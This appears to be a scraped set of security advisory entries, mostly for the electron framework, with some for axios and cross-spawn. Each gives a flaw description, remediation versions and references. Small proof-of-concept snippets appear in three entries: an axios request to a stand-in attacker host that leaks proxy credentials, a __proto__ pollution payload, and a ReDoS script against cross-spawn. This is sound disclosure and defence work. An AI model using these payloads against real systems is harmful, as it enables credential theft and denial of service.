electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Web Workers, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

• Chrome Releases
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Mojo, via heap corruption.

Remediation

Upgrade electron to version 20.3.9, 21.4.0 or higher.

References

• Chrome Releases
• GitHub Releases v20.3.9
• GitHub Releases v21.4.0

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebRTC, causing heap corruption.

Remediation

Upgrade electron to version 20.3.12, 21.4.2 or higher.

References

• Chrome Releases
• GitHub New Releases
• GitHub New Releases

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. Multiple user after free vulnerabilities exists in the WebAudio component of chromium.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.1 or higher.

References

• Electron Github Commit 1
• Electron Github Commit 2
• Electron PR 1
• Electron PR 2
• Google Release Notes
• Redhat Bugzilla

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. It allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.1 or higher.

References

• Chrome Security Release
• Electron GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the audio component. It allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.1 or higher.

References

• Chrome Security Release
• Electron GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the audio component.

Remediation

Upgrade electron to version 8.2.1, 7.2.2 or higher.

References

• Electron PR
• Google Chrome Release
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free. It allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 6.1.10, 7.2.2, 8.2.0 or higher.

References

• Chromium PR
• Electron 6.x PR
• Electron 7.x PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in WebRTC.

Remediation

Upgrade electron to version 8.3.1 or higher.

References

• Chrome Security Release
• Electron Release Tag
• RedHat Bugzilla Bug

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the WebAudio component. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Web Audio feature. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 26.6.8, 27.3.1 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to the improper handling of objects in memory in the Dawn component. An attacker can potentially exploit heap corruption through a crafted HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper handling in the WebCodecs component. An attacker can achieve arbitrary read/write access by crafting a malicious HTML page.

Remediation

Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to improper handling of objects in memory in the Dawn component. An attacker can cause heap corruption and potentially execute arbitrary code by convincing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Media Session process. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in the scheduling process. An attacker can execute arbitrary code inside a sandbox by using a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• Github Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to the improper handling of memory in the Dawn process. An attacker can cause heap corruption by crafting a malicious HTML page.

Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in v8.

Remediation

Upgrade electron to version 33.4.6, 34.3.4 or higher.

References

• Chrome Releases
• Chromium Issues
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to External Control of Assumed-Immutable Web Parameter via a crafted HTML page. An attacker can perform an out of bounds memory write by sending a specially crafted HTML content.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia

Remediation

Upgrade electron to version 31.7.2 or higher.

References

• Chrome Releases
• Chromium Issues
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

• Chrome Releases
• Chromium Issues
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

• Chrome Releases
• Chromium Issues
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Hidden Functionality via the commandLineSwitches webPreference. An attacker can inject arbitrary command-line switches into the renderer process by supplying untrusted configuration objects, potentially disabling security controls or sandboxing.

Note:

This is only exploitable if external or untrusted input is used to construct webPreferences without an explicit allowlist.

Workaround

This vulnerability can be mitigated by not spreading untrusted input into webPreferences and by using an explicit allowlist of permitted preference keys when constructing options from external configuration.

Remediation

Upgrade electron to version 38.8.6, 39.8.0, 40.7.0, 41.0.0-beta.8 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Incorrect Calculation of Buffer Size via insufficient validation of untrusted input in ANGLE and GPU. An attacker can escape the sandbox by submitting a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.4 or higher.

References

• Chrome Releases
• Git Commit
• Git Commit
• Git Diff
• GitHub PR
• CISA - Known Exploited Vulnerabilities

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.7 or higher.

References

• Chrome Releases
• GitHub PR
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write through a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting malicious HTML content.

Remediation

Upgrade electron to version 32.3.0 or higher.

References

• Chrome Releases
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can potentially exploit heap corruption by sending a specially crafted HTML page to the victim.

Remediation

Upgrade electron to version 32.3.2, 33.4.2 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write through crafted HTML pages. An attacker can exploit heap corruption by sending a specially crafted HTML page to the victim.

Remediation

Upgrade electron to version 32.3.2, 33.4.2 or higher.

References

• Chrome Releases
• GitHub PR

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in v8 engine.

Remediation

Upgrade electron to version 32.3.0 or higher.

References

• Chrome Releases
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via MediaStreamTrackImpl. An attacker can cause heap corruption by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.6 or higher.

References

• Chrome Releases
• Gerrit Code Review
• Git Commit
• GitHub Commit
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Dawn component.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

• Chrome Releases
• GitHub Commit

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.